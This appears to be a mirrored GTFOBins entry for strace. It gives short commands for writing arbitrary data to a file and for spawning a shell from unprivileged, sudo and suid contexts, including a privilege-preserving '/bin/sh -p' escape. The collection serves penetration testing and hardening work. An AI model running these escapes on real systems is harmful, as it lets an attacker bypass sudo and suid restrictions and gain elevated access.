1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2026-03-07 14:36:23 +01:00
GTFOBins.github.io/_gtfobins/strace
2026-01-07 21:59:13 +01:00

22 lines
689 B
Plaintext

---
functions:
file-write:
- code: |-
strace -s 999 -o /path/to/output-file strace - DATA
comment: |-
The data to be written appears amid the syscall log, quoted and with special characters escaped in octal notation. The string representation will be truncated, pick a value big enough instead of `999`. More generally, any binary that executes whatever syscall passing arbitrary data can be used in place of `strace - DATA`.
contexts:
sudo:
unprivileged:
shell:
- code: |-
strace -o /dev/null /bin/sh
contexts:
sudo:
suid:
code: |-
strace -o /dev/null /bin/sh -p
shell: false
unprivileged:
...